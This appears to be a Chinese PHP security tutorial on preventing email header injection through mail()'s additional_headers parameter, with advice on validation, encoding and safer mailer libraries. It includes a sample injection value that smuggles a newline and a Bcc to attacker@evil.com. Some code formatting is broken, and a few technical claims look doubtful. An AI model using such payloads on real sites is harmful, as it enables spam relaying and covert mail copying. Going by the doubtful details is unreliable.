mail()会触发头注入是因为第4个参数$additional_headers直接拼入邮件头且未过滤换行符,导致用户可通过%0a等注入CC/Bcc/From等伪造头。

为什么 mail() 会触发头注入?
因为 mail() 的第 4 个参数($additional_headers)是直接拼进邮件原始头里的,没做任何过滤。只要用户输入里混进了换行符(\n 或 \r\n),就可能多塞进一个 CC:、Bcc:,甚至伪造 From:——这不叫发信,这叫帮攻击者中转垃圾邮件。
常见错误现象:mail($to, $subject, $body, "From: $_GET['email']"),用户传 ?email=test@example.com%0aBcc:attacker@evil.com,结果邮件悄悄抄送出去了。
- 所有来自用户输入的字段(邮箱、姓名、主题)都必须视为不可信
- 别指望用
strip_tags()或htmlspecialchars()解决——它们不处理换行符 - PHP 8.0+ 虽然加了
mail.force_extra_parameters限制,但对$additional_headers无效
怎么安全构造 $additional_headers?
核心原则:不拼接,只白名单 + 编码。Header 值里不能出现 CR/LF,也不能有冒号后紧贴空格以外的空白(RFC 5322 严格要求)。
实操建议:
立即学习“PHP免费学习笔记(深入)”;
- 用
filter_var($email, FILTER_VALIDATE_EMAIL)校验邮箱格式,失败就拒收 - 用
mb_encode_mimeheader()处理中文姓名(比如"张三" → =?UTF-8?B?5byg5LiJ?="),避免乱码和截断风险 - 固定写死 Header 键名,值只填校验/编码后的结果:
"From: " . mb_encode_mimeheader($name) . " " - 绝对不要把用户输入直接放进
"Cc: " . $_POST['cc']这类拼接中
有没有比 mail() 更靠谱的替代方案?
有,而且强烈建议换。原生 mail() 依赖本地 sendmail/postfix,配置黑盒、错误难捕获、DKIM/SPF 支持差,还容易被当成垃圾邮件。
推荐路径:
- 小项目用
PHPMailer(v6.9+)或symfony/mailer:自动处理头编码、附件、HTML 邮件、SMTP 认证 - 关键业务走第三方 SMTP(如 SendGrid、Mailgun):自带反垃圾策略、投递追踪、退信分析
- 如果非要用
mail(),至少加上-f参数强制指定 envelope-from:mail($to, $subject, $body, $headers, "-f$verified_email"),否则 SPF 检查大概率失败
测试时最容易漏掉的两个点
一是换行符来源不止 \n:Windows 用户输的 \r\n、富文本框粘贴的 Unicode 换行(\u2028)、甚至 MySQL 里存的 CHAR(10) 都可能绕过简单 str_replace("\n", "", $s)。
二是 mail() 返回 true 只代表“提交成功”,不代表邮件真发出去了——它可能卡在队列里,或被 MTA 直接丢弃。必须配合日志(error_log())和异步回执(如 SMTP 的 Return-Path)验证。
真正麻烦的从来不是写几行代码,而是你永远不知道用户在哪次输入里塞了个看不见的 \r,而你的日志又没记全原始请求头。











